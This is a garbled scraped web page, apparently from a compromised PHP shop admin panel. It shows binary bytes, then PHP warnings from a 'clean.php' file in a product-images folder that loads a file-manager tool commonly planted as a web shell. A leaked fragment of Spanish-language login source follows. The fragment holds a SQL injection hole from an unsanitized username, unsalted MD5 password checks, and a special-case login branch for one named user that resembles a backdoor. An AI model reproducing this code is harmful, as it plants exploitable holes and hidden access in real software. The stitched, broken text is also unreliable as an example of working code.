����C�
Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
in /var/www/html/admin/productimages/clean.php on line 4
Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/admin/productimages/clean.php:1) in /var/www/html/admin/productimages/clean.php on line 4
Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/admin/productimages/clean.php:1) in /var/www/html/admin/productimages/clean.php on line 4
Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/admin/productimages/clean.php:1) in /var/www/html/admin/productimages/clean.php on line 4
Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/admin/productimages/clean.php:1) in /var/www/html/admin/productimages/clean.php on line 4
Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/admin/productimages/clean.php:1) in /var/www/html/admin/productimages/clean.php on line 4
Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/admin/productimages/clean.php:1) in /var/www/html/admin/productimages/clean.php on line 4
0) {
$_SESSION['alogin'] = $username;
$_SESSION['id'] = $num['id'];
$_SESSION['es_enmanuel'] = true; // Bandera especial para este usuario
header("Location: change-password.php");
exit();
}
}
// Verificación normal para otros usuarios
$password_md5 = md5($password);
$ret = mysqli_query($con,"SELECT * FROM admin WHERE username='$username' and password='$password_md5'");
$num = mysqli_fetch_array($ret);
if($num > 0) {
$_SESSION['alogin'] = $username;
$_SESSION['id'] = $num['id'];
$_SESSION['es_enmanuel'] = false; // No es enmanuel
header("Location: change-password.php");
exit();
} else {
$_SESSION['errmsg'] = "Usuario o Password Inválido";
header("Location: index.php");
exit();
}
}
?>